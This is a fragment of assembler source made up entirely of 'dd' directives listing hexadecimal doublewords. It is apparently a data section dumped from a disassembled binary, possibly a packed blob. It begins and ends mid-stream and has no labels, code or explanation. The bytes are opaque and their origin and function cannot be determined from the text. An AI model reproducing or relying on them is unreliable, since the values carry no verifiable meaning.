253E3DEDh, 0B92200DBh, 3A15D973h, 0DAFC20h, 5F13F516h dd 0A5AF27CCh, 0FF307500h, 5D5AFC61h, 0D0FD073Fh, 0B01A37B2h dd 0F1AFECB7h, 0BD55B00Eh, 0C5D9A02Fh, 4F94708h, 296145E4h dd 808B8549h, 9B4482D3h, 0C489AE01h, 0F324DA12h, 84AE0E7h dd 38913922h, 7FA551BCh, 0F812D783h, 0FD4B31E0h, 88C59701h dd 217E3B6Ch, 6580898h, 0E0001486h, 0A9298E0Bh, 3F407DDCh dd 82804AEFh, 1F06BA9Ah, 0C53ADA2Fh, 0D0CE05A5h, 58EC69F8h dd 1DC7781Dh, 0C1E54043h, 7E8E0C08h, 94C5DE00h, 0BBB32927h dd 5CB10F66h, 4A606FBFh, 95FD7A2Eh, 7ECE42ECh, 7CEB8717h dd 0E4C2B5A0h, 43480047h, 580E11DDh, 8005104Dh, 8DFCA54Bh dd 0A2B380FBh, 9000A45Ch, 0EE0BB33Ah, 2BEAA0h, 4B8A2FF4h dd 74CBA8D9h, 575A0F00h, 0E8F64E0Eh, 7FED0024h, 5DC62CBCh dd 0CF7D6D08h, 3DE2183Fh, 271F7EDBh, 444E8EFAh, 3B974014h dd 1A1822h, 507E10B2h, 933E91ACh, 0FC147B00h, 0E0CF203h dd 18320070h, 1BC96806h, 243EE58Dh, 45F80A7h, 27BE3816h dd 42A900F5h, 104759FBh, 0D20E4EC6h, 20761A3Ch, 85EA1465h dd 0ADD63BABh, 0F3CE4F04h, 36608156h, 7303E006h, 5706C00h dd 7868CB77h, 0F5740F4Ch, 27A0B3EEh, 56247614h, 40E59D03h dd 0B04ED74Bh, 734CC811h, 53C30042h, 49D82A21h, 770740DEh dd 3EBC5193h, 740130E0h, 7B830063h, 5DB3C36Ch, 14000C20h dd 81185740h, 1F1C0251h, 40084B04h, 0FA8B4507h, 14046B22h dd 80E0F992h, 763F8680h, 0EEA002Bh, 497444F6h, 0C90AFCC7h dd 9166D8A8h, 1CC1949Eh, 55DF10E2h, 77706871h, 60EA4Dh dd 0D57756A2h, 0A328E853h, 0EA43D00h, 0B0744301h, 0E3BF0092h dd 90AD9344h, 840080F3h, 1B6E7821h, 72997E4h, 0D69C0979h dd 421C8028h, 27038C3h, 9678732Eh, 6B1EDD00h, 201018h dd 0EB7C74A7h, 0BE433D23h, 577622E8h, 84932700h, 0C697515Bh dd 4C7200EFh, 0D2077844h, 0F800B303h, 384E31C4h, 0E9088D9Ch dd 0EE4B54D8h, 0CA201FF3h, 0A0594169h, 4070211Ah, 326A9B05h dd 6CA2E407h, 0ACB0A943h, 84258Ah, 5419A457h, 4D68809h dd 0BA442039h, 7826DC5Ah, 85CCC00h, 97948C9Ch, 80960041h dd 14819844h, 38000988h, 1C08119Ah, 467FE8h, 109BB802h dd 29A27436h, 8F32093Eh, 0C7A6219Ah, 0F830C458h, 0E9006C3h dd 0C605111h, 87B009A0h, 460410Eh, 7171860h, 0A13600E8h dd 8C1B0C02h, 1A00DC10h, 21CCB408h, 0EAD40984h, 3A47519h dd 201F4050h, 0D8F38088h, 23D0F0DFh, 1100A081h, 4022E34h dd 0E82F7C22h, 5446004Ch, 9C49932h, 800516Ch, 22A4913Ch dd 5C2074h, 942C4457h, 0F8116489h, 0BC026600h, 6239DC26h dd 100900ACh, 52E00353h, 5A0E7933h, 0AF495931h, 90C0204h dd 0F460C124h, 7B38A320h, 0A8086164h, 0D4204137h, 0B10ECCC6h dd 66B8CB40h, 0E8C88D2h, 980870C8h, 11DC84E0h, 0CC1D1B48h dd 873FD9E0h, 1059E744h, 21F96050h, 2A18001Ch, 0CC29ECA8h dd 11315408h, 2B744824h, 0BE2330h, 75D17632h, 14EC6405h dd 4AC7ACB8h, 2670023Fh, 7A6359ACh, 0A828007Ch, 0A7C43818h dd 5B00F008h, 0F411C081h, 0A021B15Eh, 3026295h, 4C70253Ch dd 0A8D1409Ch, 50437089h, 2007657Eh, 58488824h, 51766CF1h dd 74A46C80h, 0AC12DC89h, 6DFC2212h, 20462C00h, 0C64B972h dd 58755171h, 810AA3B8h, 0D5891744h, 0B8261D00h, 1E117CC6h dd 9E43554Ah, 0DA440B4h, 4707E817h, 0E170280Eh, 6AC24225h dd 0A787F7D0h, 0DD010ACCh, 1C32007Ch, 0EC08B13h, 1558408Dh dd 0C6010013h, 31181F84h, 821000Ch, 32032480h, 52E048E6h dd 746E7500h, 20656D69h, 0E27200E4h, 83DAE76Fh, 0EAFC6101h dd 863B3000h, 18455140h, 80112DBFh, 80191B57h, 0B5413938h dd 57805E5Ch, 0DEC0120h, 0A00A1D55h, 58C5C14Eh, 319C0C56h dd 0F8AE31B8h, 1007D430h, 1FC1F927h, 0F3911C23h, 0E20AD81Eh dd 1897001Dh, 7CF001ABh, 6C00A466h, 105AE433h, 0B70907ECh dd 3896DEh, 6C05265Ch, 4C185B66h, 7C006F74h, 128C8984h dd 9C092494h, 8791A448h, 0BCF3B475h, 0FBCCFBC4h, 0FBDCFBD4h dd 0FBECFBE4h, 4FCF8F4h, 0C5C0140h, 1C121489h, 2C48C424h dd 22349107h, 4C17443Ch, 0F81754F1h, 6CED64EDh, 0F67C6F70h dd 8C120584h, 824A9424h, 0BC80E5BDh, 5390408h, 8E641C00h dd 6A236547h, 5FA83E89h, 48605403h, 0C0F75808h, 6411610Ch dd 0E2BCC803h, 0B0316214h, 46801Ch, 88E02363h, 38C46494h dd 1FEC7200h, 306548E2h, 8C5E00F0h, 11660423h, 100D560h dd 37842A93h, 0E500D14h, 4B4A4847h, 4E4D4C02h, 534705FFh dd 585737C0h, 0A056005Ah, 454104ECh, 4F1C6A49h, 6301B811h dd 68676664h, 6C6B80EBh, 0AF6E5A6Dh, 74052F00h, 17A7877h dd 61200176h, 606F6965h, 9160B998h, 0C4A010DCh, 0A7AC0022h dd 0C6E80901h, 740E84AAh, 0E0315132h, 71B09840h, 9EB0FFh dd 0C8101101h, 30912009h, 44312200h, 2F388C34h, 69070041h dd 33E8C79Ah, 0B001E90Fh, 19F3F0F2h, 4520A490h, 1D2B90B8h dd 0C0F822D4h, 3C45581Ch, 741724DEh, 30408C48h, 0ECD444BCh dd 59040288h, 34121881h, 6420FA8Eh, 94227C91h, 0FFA84407h dd 0C9001F7Eh, 0C1BD8Dh, 9B382F3Fh, 6B707AFEh, 4B3E1D00h dd 0AF51C049h, 391A1CB6h, 931500F4h, 1B926CB0h, 5B78B424h dd 95553B00h, 708436F7h, 86B8E4h, 0CE0D4AD2h, 0F501DD09h dd 0E3CD5300h, 601DB413h, 0F820006Ch, 0A4225027h, 24009B03h dd 41659885h, 0F95018Fh, 728409E8h, 70589907h, 4070084Ch dd 8900737Fh, 0C5FF1C88h, 7CA3F003h, 75C80021h, 0A43110BEh dd 0A67EE408h, 1933D001h, 70EC09E0h, 0BA740D4h, 0F849CCC8h dd 90D7A287h, 0AD0A802Ch, 4A96C06h, 3E60A5FEh, 248EA838h dd 68E35409h, 84B87412h, 0B5A89048h, 0C80345B8h, 964C033h dd 0EB32EB21h, 4442E83Ch, 0B35A0350h, 0D2C08A24h, 3E08B590h dd 152981Eh, 3020779h, 6020504h, 0A266007h, 0D0C0E0Bh dd 10400E0Fh, 7894389Ch, 0A403BEBAh, 0C401811h, 0C40B99B4h dd 7BD02620h, 310D248Dh, 105C030Eh, 0E09B0E34h, 2001C0ACh dd 90E61294h, 0A8021376h, 1A6C3616h, 9C2D6019h, 1F401C80h dd 7022C184h, 0F77811CCh, 0A024B1D7h, 0C826E488h, 7A279924h dd 20192801h, 6E8954D9h, 3B003160h, 10012E34h, 3C033F1Eh dd 0E0EC118Fh, 0B0023308h, 34483E22h, 2F6892h, 2C36317Dh dd 9009937h, 0C1399032h, 1EC4023Bh, 0C0B4063Dh, 5C874C3Eh dd 400C8CCh, 0B15A448Bh, 37714B0h, 639C1864h, 0E9B03038h dd 311FDC73h, 700019D4h, 785DD9BEh, 0F284E89Eh, 20AE0004h dd 79CC6398h, 0C4CA2E4h, 4411003Fh, 399C5676h, 995C3A66h dd 6C5D798Fh, 0D1F5DDC2h, 0A1E05760h, 3652400h, 0C4793310h dd 4807519h, 0DC592CB1h, 12218022h, 422486E0h, 0D200B088h dd 5C809219h, 9300053h, 3C247214h, 89161260h, 6003992Ch dd 0A8A5D481h, 0E2195C2Eh, 442000Ch, 9948515Ah, 0D07411BCh dd 0F9C4B93Ah, 26D9A500h, 65193440h, 5809007Ch, 0D4889C12h dd 0A000941Ch, 604A90EAh, 366AC2Ah, 41500998h, 8DC057F7h dd 0D9F82808h, 49145900h, 9FB4298Ch, 3C313E33h, 2060A987h dd 4C7470C9h, 441F6FF4h, 54C1D939h, 91282999h, 0F0C2C07Bh dd 250CA49Eh, 129CC419h, 32BF00E0h, 0A514387Bh, 1B584CACh dd 69C6015Ah, 885BC33h, 1134F8h, 0D8A4F904h, 1C94A9DCh dd 4C619901h, 49883C09h, 0C9083F2h, 4BFBE8D9h, 20460079h dd 66107A30h, 2C3A51E4h, 3FB4C841h, 6875F45Ch, 58037FB0h dd 94D31287h, 549A0E60h, 5CE090B0h, 0B466B896h, 6C61A973h dd 0CC5211ECh, 3106730h, 94B059F2h, 70C00C84h, 2390B199h dd 995AC00h, 74329CDCh, 258C0261h, 20D84C2Ch, 90A4B740h dd 0C6FC9600h, 786A59C0h, 0D7011E41h, 1B7257Ch, 5BEAC55h dd 91934C87h, 70539190h, 1800869Eh, 0AC562096h, 0FA5EC814h dd 9EF205C0h, 807CD024h, 8FEC978Dh, 110088F8h, 0EE1920Ch dd 2C0298h, 9A4E203Eh, 9CC8B047h, 0DAF13CC0h, 2C08019Bh dd 3F961E93h, 1EC41093h dd 0FA1887ADh, 995AF0B1h, 93E7031h, 24A08088h, 91D448B8h dd 0F22202E2h, 400CFE44h, 32896A60h, 2425127Fh, 9FA07554h dd 0A290447Eh, 0C8FEB4FEh, 0F0FEDEFEh, 9520B81Fh, 3BCF74BDh dd 0C04CCF3Eh, 22749158h, 8196FE86h, 0BFC0FDAEh, 0BFDEBFEAh dd 2BFC89EEh, 1973870Ah, 0C03611D2h, 302944CAh, 807D1452h dd 5B89053h, 0C20CAC7Dh, 28E489D4h, 41400F4h, 268C1C97h dd 27B83411h, 4C00427Eh, 64445822h, 0C020A672h, 0B889A884h dd 2430CC12h, 9823BFE0h, 111C1819h, 223A522Ch, 5E444A05h dd 3BC0897Ah, 0FB424A4h, 0D491C448h, 0F0E0E2EFh, 991688FEh dd 1226810Ch, 5CF53Ah, 82226E91h, 89AA9844h, 0CA54BA7Fh dd 0FEFEF297h, 9A0C100Ch, 0B329422h, 0AC468A40h, 96C5A80h dd 107DA686h, 89BAA805h, 0D19013CAh, 259BE0F0h, 7F800E81h dd 914E483Ah, 6E03607Fh, 898C8044h, 0F8AEFB9Ch, 70154C8h dd 0BF08E429h, 1E11C023h, 0AEA22C32h, 4F64EDA4h, 3E7E2C74h dd 0A612009Ah, 3430B025h, 7200656Bh, 6C076E73h, 2E3233h dd 10D45E64h, 7487473Eh, 0C9789Dh, 0E66ECE1Eh, 1C0C6854h dd 49646117h, 446DD300h, 0F83046h, 69757243h, 617B63E4h dd 0EB537E00h, 6E6F108Ch, 0CA4C2E31h, 56170067h, 7EDA45E0h dd 1895B000h, 27B6499Dh, 7AFC0124h, 566735A5h, 75EC43F7h dd 0EC46FE00h, 41A20E34h, 6F960382h, 0D5E8C663h, 19DA1CD0h dd 0A6001AF4h, 0CA51742Ah, 1079E4h, 64695706h, 61683EBCh dd 0D0548325h, 1D6C00F1h, 287942B8h, 0C03AE34h, 98212ED5h dd 7773F02Dh, 0DAA00074h, 4CE1416Eh, 3E00630Ch, 87FD7970h dd 17AD23Dh, 18740648h, 0CB726269h, 612445F1h, 32E9CCB4h dd 899B1D00h, 531223EDh, 88BA0097h, 0AE27094h, 417C6F66h dd 72504300h, 64713E7Bh, 735200CEh, 4DC73634h, 8700FA6Fh dd 61488E3Fh, 0CF96Eh, 18144F41h, 4E086946h, 6D0057F8h dd 565A5216h, 0F412544Dh, 459403A0h, 0E4A6DC72h, 6DD35390h dd 0A3938E00h, 3552A59Ah, 751B3F25h, 2C0E1900h, 0ED08BE64h dd 4D18B0E8h, 419C426Ah, 0FA730032h, 0D33EC72Ah, 9900569Dh dd 0A98A5724h, 0F19B080h, 0A6686E55h, 46B2E7C0h, 440E703Ch dd 0C033DA99h, 145374A4h, 501A0926h, 0B800946Fh, 4F5C4562h dd 3D9A6600h, 8CFFE0C3h, 0D4770082h, 1F490CD3h, 7B041857h dd 52F0ABF3h, 0A23066C0h, 90C6B864h, 2DA100A0h, 227AD153h dd 79288A4Eh, 6D0096BCh, 0E97E6954h, 0F8C44F1Eh, 43220070h dd 38527A4Bh, 0D47194D9h, 75CC4900h, 0CA9B7214h, 324B0367h dd 0BE406279h, 3AA664D0h, 3501917Dh, 6EEF05EEh, 4DE80A67h dd 619E00FFh, 6F428ABAh, 0A6024878h, 7D4E9F11h, 0C80943B6h dd 3F29767Bh, 4AA46970h, 326700F2h, 9143565Ch, 20E4D00h dd 9A4F29D9h, 0C06E39A6h, 21D41300h, 8723DB89h, 58A7A00h dd 29747561h, 70B50740h, 80A00DE4h, 0C4F0A9C3h, 2C0E66F4h dd 0A0986F16h, 64534977h, 7F9A0028h, 3905E4Ch, 0B009ADACh dd 844DE965h, 0BBC7E5B0h, 458C02Eh, 0A525D4h, 548FCC8Ah dd 542849Ah, 9100B8E8h, 591B470Eh, 15DA4Eh, 677A66C5h dd 2A1749AAh, 9FE1B400h, 24125628h, 0DE4C3F41h, 0ED641400h dd 60934092h, 0E2CF5300h, 70476D75h, 54F6006Ah, 0EF5210B9h dd 536EC558h, 4C11A07Ah, 3D0A599Ch, 3B9D3351h, 90084150h dd 0C463CADEh, 772636B7h, 0A500C571h, 0C105C91Ch, 0F9D0075h dd 0C4D42873h, 42EC49C3h, 889022EEh, 0B4745900h, 0AC62E499h dd 322100F2h, 10946BF3h, 0EA7404B1h, 1E184CECh, 0A956F5F6h dd 134900B5h, 6D0ECCC7h, 330114F2h, 5622D687h, 0E0403141h dd 149738Bh, 0A85D261Dh, 0E4DC3DA5h, 8D01E5BCh, 0CE4E456Eh dd 12D4EDBAh, 8ACB0095h, 8B4428EAh, 91E7658h, 0FCA4D5h dd 0CC6B1E84h, 73F70DAh, 41256361h, 0F22EC097h, 5D005051h dd 93C077A2h, 0F4431923h, 219B0FE7h, 4480587Ah, 696F76FCh dd 24DF3E00h, 5288369Eh, 7E6C755Dh, 339300ECh, 29E93F26h dd 0A2309C41h, 9DF4085Ch, 62450F5Ah, 0A5A3A7C8h, 0DFE8E51Ah dd 53092084h, 8002574Ah, 0E65477DCh, 12A7075Bh, 0FF825014h dd 6C440580h, 0D5004967h, 252366EDh, 38699FA0h, 9480B970h dd 0A276B444h, 0D1FC426h, 0BC0315AEh, 0D0D8EF5Ah, 2A2B78h dd 1E324693h, 8FA6C241h, 6200CAE4h, 0D3EEA4EBh, 2658664h dd 57E08A63h, 0FD80D484h, 70412032h, 2990A605h, 41C0BAACh dd 9C9BA8h, 672A3EC8h, 1BB9D40Ch, 26240AB8h, 2B033D6Dh dd 0A3144EADh, 0EA5DA895h, 77F7958h, 3250F10Dh, 88222031h dd 0B41D2CD4h, 0F3E63CA1h, 60BC1207h, 6D804795h, 3A644Fh dd 0F3EC4CA8h, 3795CD77h, 2A1D7600h, 1268C6DEh, 4878D8h dd 412C5357h, 6C42AA43h, 7A00C4E4h, 2D9A2592h, 1849F9h dd 1459A361h, 5C6521BAh, 8E1D680Bh, 0D025000Ah, 7D6FAB26h dd 981A0C7Dh, 868B1A5h, 1FD6B701h, 2552EB7Eh, 858630h dd 18547078h, 0DE6E95C4h, 7568CE03h, 0C00948F2h, 1557B8h dd 203D3251h, 0D501299Ch, 1A55B70h, 7000F4D7h, 6E48E010h dd 70801h, 2C270C30h, 3C673847h, 0A7408700h, 0E748C744h dd 0E850E44Ch, 0F062EC54h, 0F872F46Ah, 0FC82FC7Ah, 0FC92FC8Ah dd 0FCA2FC9Ah, 0FCB2FCAAh, 0FCC2FCBAh, 0FCD2FCCAh, 0FCE2FCDAh dd 0FCF2FCEAh, 2E100FAh, 12C90A31h, 0D93D1AD1h, 0E92A0022h dd 0F93AF132h, 0E84AE442h, 0F05AEC52h, 0F86AF462h, 0FC7AFC72h dd 0FC8AFC82h, 0FC9AFC92h, 0FCAAFCA2h, 0FCBAFCB2h, 0FCEEFCE6h dd 4FFEFCF6h, 96ACF8h, 7616740Eh, 327781Eh, 507C487Ah dd 0BF90B87Eh, 3477071Ch, 80CD9D3Ah, 27263513h, 7E0479Ch dd 55362161h, 7CD150C9h, 37000FD8h, 9A385E1Ch, 1DB79Dh dd 1ECD9EC2h, 1FDF9FD5h, 0F300E974h, 0F390987h, 15471D27h dd 0B43A6730h, 0AEC74E14h, 6E2A5C39h, 7A8978ACh, 7E9D7C95h dd 7EAE7EA8h, 54C17EBBh, 0FCECA4DBh, 7EE14F6h, 1700E03Ah dd 2E672847h, 0A70A3687h, 0DA57C740h, 9B14839Dh, 0C652CAh dd 303B1AE1h, 0D17FC9h, 0E0BDD99Fh, 0DC723CCFh, 3D0F1C00h dd 1D2E9D15h, 409E0037h, 549F4B1Eh, 6AE85B1Fh, 93F071ECh dd 0F4F8ECF4h, 3E79870Ah, 0A2809697h, 143F0E61h, 0D12400C9h dd 0E172D92Dh, 9107E97Bh, 0BBF9AFF1h, 0CF00C325h, 872083FBh dd 8CC0007h, 3A309C3Bh, 1D00649Dh, 1E7D9E6Dh, 3A8B9F85h dd 9B3B941Fh, 0A603A03Ch, 324FB992h, 0E6BC39h, 3118C3EEh dd 3EFE971Eh, 5401488Eh, 73495C0Fh, 0C492F924h, 4600CA10h dd 1CFC7E0Eh, 343202h, 761D589Dh, 8C1E869Eh, 1F949F0Eh dd 87F980EEh, 3083302h, 21471827h, 0F0017267h, 93C789A7h dd 0A1C999E7h, 0AD67CFD3h, 0BEA0B487h, 3465E1h, 0D1ABC98Dh dd 0E0BFD9B7h, 72351900h, 7627741Fh, 6278014Ah, 3F368349h dd 0D0C9C9B5h, 93000ED7h, 0A243B237h, 90AD38h, 0E46A3A1Dh dd 0ECB9E8A9h, 0EDF0CF01h, 3B5003F4h, 69F12FE1h, 0EF3F0h dd 663D4A3Ch, 0AE8E9A4Eh, 3E2CF00h, 93283E0Ah, 98A3036Bh dd 0D3C3A1B3h, 11E0DC88h, 0AA393F00h, 850C62D4h, 498000C8h dd 12A71DCCh, 5E07C735h, 998767E7h, 0FC1BF90h, 0C8533B31h dd 0CF19ABC8h, 0D9338E74h, 7649D840h, 7F785400h, 0DF7C947Ah dd 1CF2007Eh, 9D3C3406h, 52001D4Ch, 5E1E589Eh, 901F649Fh dd 7873762Bh, 0F4915483h dd 0F8BCFCB3h, 1B8700C3h, 39272035h, 673D4447h, 0A757004Ch dd 0E76FC769h, 0A98EE475h, 0ABE1A6C5h, 9A24CDE9h, 9AE8FCE3h dd 3604003Ch, 0D117C909h, 0CA00D9BEh, 503AFBE0h, 4080C4h dd 0C3146C81h, 0A7934A92h, 0B2B6A301h, 643203CFh, 0C9E4ABE5h dd 39BA00B3h, 0E05016D9h, 0FD1EE4E7h, 368040E8h, 0E6A12A56h dd 76F20074h, 380B1CF9h, 32009D29h, 459E3E1Dh, 87E21Eh dd 27B7398Eh, 61C547BEh, 0BF3A8400h, 723B0EC8h, 0EC7400B9h dd 0AF3C051Ch, 3D008887h, 3E1821BAh, 0E0C953h, 9D9F8D1h dd 0E83CC024h, 56EC4D00h, 50CB98F1h, 28C1206h, 345E00C3h dd 0A33A9333h, 53B3441Eh, 67D35DC0h, 0F279E3h, 0A9C0A78Fh dd 6093B0E4h, 0C4F3BD1Ch, 0D31DCB9Dh, 0E51EDC9Eh, 0F71FED9Fh dd 1F0FB80h, 0E40535h, 920FE80Bh, 7C2C7A74h, 3B49361Dh dd 4E543F8Eh, 0CF6B8E5Eh, 4F8A0F82h, 0CF9A8F92h, 0CFAACFA2h dd 0C0C4CFB2h, 0D6012AF5h, 763B0074h, 7A687843h, 7E717C70h dd 9E758473h, 0D279AF77h, 0F07DE77Bh, 0FA00F57Fh, 1B370D1Ch dd 91D259Dh, 1E489E43h, 87675584h, 678647B5h, 0AF96878Eh dd 9F1E1FF3h, 9FB61FAEh, 9FC69FBEh, 9FD69FCEh, 0A4E69FDEh dd 80F61FFFh, 380687FEh, 1607270Eh, 26671E47h, 36A52EA0h dd 46EE0E4Fh, 56404ECFh, 661A0FD6h, 76F46EF0h, 0CA0E7EF8h dd 2E3FFC86h, 0AE9E6E96h, 2FAEEFA6h, 0AFBE6FB6h, 0CFCEEFC6h dd 0CFDECFD6h, 0CFEECFE6h, 0EFEC1F6h, 4ECC3906h, 1E8E0016h dd 2E0F26CFh, 8F00364Fh, 2746CB3Eh, 14E75638h, 0F466E55Eh dd 7EF27603h, 0F9D92EC9h, 6406C8F4h, 0E8142C01h, 0F024EC1Ch dd 0E1190DCh, 44FC3CF8h, 548E4C4Eh, 640F5CCFh, 748F6C4Fh dd 20FD7CC0h, 94FC8C58h, 0A4FC9CFCh, 0B4FCACFCh, 903FBCF4h dd 3FCC3FB0h, 3FDC3FD4h, 3EEC3FE4h, 40260F4h, 3A0C3B39h dd 1C00143Ah, 2C3D243Ch, 3F77343Eh, 4CE844E4h, 5C7A1B92h dd 6C7E647Ch, 7C7E747Eh, 8C7E847Eh, 9C7E947Eh, 0AC7EA47Eh dd 0BC49B47Eh, 3FCC3F23h, 24DC05D4h, 4E87AAE4h, 487FC20h dd 195B03Ch, 671C4714h, 602C8424h, 253CC93h, 7CFEC77Fh dd 40E884E7h, 7ED492A3h, 0CE74BC72h, 0FE00CCFh, 80FA5FF4h dd 7404723Dh, 140C7608h, 0BB481078h, 1C396548h, 3C3B2A3Ah dd 643D5C3Ch, 6C3F683Eh, 743F703Fh, 2C64783Fh, 987C9280h dd 0F9C04FE9h, 0F9C8F9C4h, 9FD0F9CCh, 0DC80D87Dh, 0EDEE059h dd 1C3E0114h, 248B204Eh, 0A72CE427h, 34C43001h, 3CE75D87h dd 0EC6CEC74h, 0F478F074h, 0FC80F87Ch, 0FC88FC84h, 0FC90FC8Ch dd 0FCA4FC94h, 0FCCCFCC4h, 3ED4FCD0h, 3281D8E5h, 0F3E450C3h dd 0F2ECC8E8h, 54690400h, 0D930D12Ch, 38E13934h, 4E405C92h dd 4C884830h, 8815ABA9h, 0AF902AADh, 3F309849h, 91A422A0h dd 49E0122Ah, 2E24E82Ch, 0F83093F0h, 8C99F0F7h, 130F6010h dd 612501D4h, 51347882h, 0F96890F3h, 3090E488h, 0BA675274h dd 0A4727E54h, 0AC76A874h, 0C05DB003h, 93E83F58h, 0B3F0A3ECh dd 0D0F8C3F4h, 3970FCh, 83A0431h, 383C665Ch, 2E403D00h dd 4C9F6844h, 4B500097h, 6EA7586Ch, 7054E760h, 9CEC98A6h dd 0AAAAA0F0h, 0F9ACEEE1h, 0B81974B0h, 54B2C8FCh, 0F405F07Eh dd 82D7F8E5h, 93043D80h, 0CA30008h, 20C310B3h, 500040D2h dd 0B4C4A94h, 0EEA75496h, 60E5015Ch, 0F3688293h, 0D19CC97Ch dd 0E1A8D9A4h, 0F2B0E8ACh, 4850B43Ah, 0D22C4862h, 0E0F82400h dd 48045D33h, 3C00D7ACh, 0B2142E10h, 960E1C9Fh, 214F1720h dd 60CF5C22h, 68D164C9h, 70E16CD9h, 78F00471h, 0AB7C07CBh dd 12BC8732h, 2249C0E7h, 7C2426C8h, 0DC00D87Eh, 3974ECE6h dd 4D3A1434h, 200B1018h, 5A8E243Dh, 0FDFF2C20h, 4873029Fh dd 0DE70B5A1h, 0ED78ED61h, 0DF80F47Ch, 887E847Eh, 904AE0B8h dd 0CFC0130Fh, 0CFCC8FC8h, 96D4C1D0h, 0E0CC4FD8h, 4CE472CFh dd 782E5CE8h, 592400CCh, 0B35C9228h, 38F47F13h, 20B88F01h dd 0DA2474BAh, 78CC927Ch, 7C8C7A88h, 98C3A090h, 0A01E0E0Fh dd 0B840A4CFh, 5C61D8C9h, 488DE458h, 0C0FDB058h, 0E4140036h dd 0ED3CE834h, 44095670h, 4F848F4h, 49D25094h, 419A4A58h dd 0E2F1C688h, 0CDF8F9F9h, 718001B2h, 56775938h, 0FC6D7158h dd 4104623Bh, 6ED16A40h, 976BEA0h, 7EF17AE9h, 2C869D61h dd 818E259Fh, 582896A1h, 0CE605065h, 3093CA6h, 1A630A02h dd 0A2607083h, 0DB0092A8h, 4A904926h, 0AD9AFD1h, 320AE0E4h dd 0A748009Fh, 81331C50h, 0F9B9D07h, 36A034B5h, 4F274Ah dd 1ED35B45h, 50B0D2ABh, 0EF007EE0h, 3A0E215Dh, 388B3B65h dd 9F00A72Eh, 4B0216D8h, 273347F2h, 0F08282E6h, 0DCC7BCh dd 713905E1h, 0B5D19CC9h, 64C2D901h, 3F8EAAEh, 0E41E3AF4h dd 2B0E0058h, 704E6B3Bh, 0CF00788Eh, 21B30BA2h, 613C7150h dd 0D8A5437Fh, 5DDE302Eh, 76B07403h, 0C3CE98EAh, 0C269C347h dd 7ACD6077h, 9D7C2696h, 0C84D0B16h, 0C0EB6084h, 72F2512h dd 47780203h, 989B6787h, 12AEFEh, 940CF188h, 30050708h dd 0D824A509h, 805489E0h, 0CF3ABD28h, 3219010Eh, 8E3F4E2Bh dd 0FB7E48Bh, 0FB4FEC00h, 26330A83h, 0A25F0093h, 86C6496Dh dd 0F10B8EE9h, 2C8A2C9Dh, 0ECB78E86h, 0C2242EBDh, 9DCF1C69h dd 9EDA1DD5h, 9FE51EE0h, 0F017EBh, 3403876Fh, 2A0F2421h dd 0C45385h, 0F85056A0h, 1C960055h, 0CE4F6712h, 8272CF79h dd 0B100A874h, 1A62BAC9h, 2C640h, 9224B35h, 0A4216618h dd 11360800h, 6A24CCC9h, 3739000Bh, 3B343A19h, 58733C3Dh dd 7E3E6B04h, 3880873Fh, 707B525h, 0EBE7DD0Ah, 223850E1h dd 610F2BC9h, 5D4DD95Dh, 0F17FE940h, 3DB0F9A1h, 0FC288C24h dd 0B12E2F6h, 2A3B223Ah, 473D2580h, 1C1F6424h, 52563284h dd 0EC6D8E00h, 7BF073h, 0C0F880F4h, 0C85D9EBAh, 0D02EA000h dd 4BD897A2h, 0A5E000A4h, 0A8D2E8A6h, 0AA00E9F0h, 0C2AC75F8h dd 7A926EE3h, 10B00008h, 0BA18B274h, 20005DB4h, 0B8282EB6h dd 0F64B3097h, 0BCA50038h, 48BED240h, 500FC0E9h, 0C058C274h dd 0C6605DC4h, 0C868002Eh, 0CA4B7097h, 0CC01A578h, 88CED280h dd 5761D0E9h, 0BA98DCh, 0D6A05CD4h, 0B8CBB0CFh, 0C8D89900h dd 0DA73D0F9h, 2EE0003Fh, 0F867DCE8h, 3C010BEEh, 0D910DE91h dd 2CFC7318h, 2EE10028h, 0E54067E2h, 0E44CCC48h, 0B960092Dh dd 97A980E6h, 0EE83378h, 0EA90F288h, 0A0CC4120h, 0ACE4A8F9h dd 0B8ECB4E8h, 0C4F4C0F0h, 827EFFF9h, 0AA3CD805h, 9D82E43Fh dd 0EB75602Eh, 99FA00ABh, 24E920F8h, 210B2CF1h, 8B38F9F2h dd 500990ACh, 1FC4009Eh, 8960925Ch, 4012806h, 1102214Ah dd 4FF0FF3Eh, 780A0070h, 4E5B7A57h, 0FA16095Fh, 5001A1BBh dd 97C9893Fh, 0C60434h, 0C32DAE1h, 88609020h, 300B0F00h dd 48493327h, 0EA3B00D6h, 0E8ADF2Ch, 13F68D35h, 67A8A707h dd 86317247h, 9BE49187h, 0D3A603C4h, 0C5F3BAB0h, 0DAA0CF93h dd 6A00E4F2h, 424C0B8h, 0E4937h, 3C233BBEh, 4102672Dh dd 0E74BC70Eh, 8E5F4E55h, 73CF69h, 0D39BF485h, 0F3AF12CEh dd 0CCB3C3B9h, 0F7C0D1B3h, 382C1BF0h, 96050A27h, 8C8003C0h dd 0E53A0Fh, 28798A1h, 27CB3BBFh, 0EA47D800h, 193C9D61h dd 3E560060h, 0E974B272h, 8A003750h, 3F62E1A0h, 15D0770h dd 75312E30h, 0FCD31524h, 5213A24Bh, 760088E9h, 342B50E0h dd 356D001Ch, 0DDBF5C36h dd 0D8005DCBh, 6144EADEh, 1E09537h, 60EDF332h, 0C09C482Ch dd 8700FB1Dh, 249F394Eh, 1E16C4E5h, 4083FAF0h, 1525F33Bh dd 1C3E2E84h, 0A6828095h, 7AFE50ADh, 0E87C00D0h, 184A3EE0h dd 4900E60Eh, 550BF1CFh, 0E940427h, 0C964B047h, 0A41B78E0h dd 303C810Fh, 0D14F8006h, 3D60286Bh, 170E00E3h, 2F491F31h dd 6E014841h, 863EAE68h, 0C0C48B2Dh, 0FA50BF07h, 100E4E2h dd 0E86C18A0h, 0E2ECA3h, 22F4FDF0h, 3A3E3339h, 983B8000h dd 0EE3DB33Ch, 3409000Eh, 0E14A492Eh, 0D2E6943Eh, 0F1D7E904h dd 80C060EAh, 7DA15B72h, 0BD903AAh, 8D3ACA6Ch, 9F379600h dd 0D78EB84Eh, 12F03DCFh, 43F100F0h, 936D391Dh, 9901A392h dd 7470CCB2h, 45CC3672h, 78981C76h, 805CF4E2h, 87E38C78h dd 4E3C8000h, 313D1642h, 0D4B40249h, 1B097E6Ch, 64610040h dd 0FFD9FA01h, 0D8C082E3h, 2496E0h, 8430170Bh, 38A0DE3Bh dd 0E8FF3Dh, 1DF612F2h, 0FE27FAh, 0F437B02Dh, 0B25AF849h dd 734A6601h, 0E2922E09h, 0CA54B07Ah, 3AD5F939h, 0FBFA00E7h dd 28203581h, 48A8001Ch, 504F7AB2h, 5801BA09h, 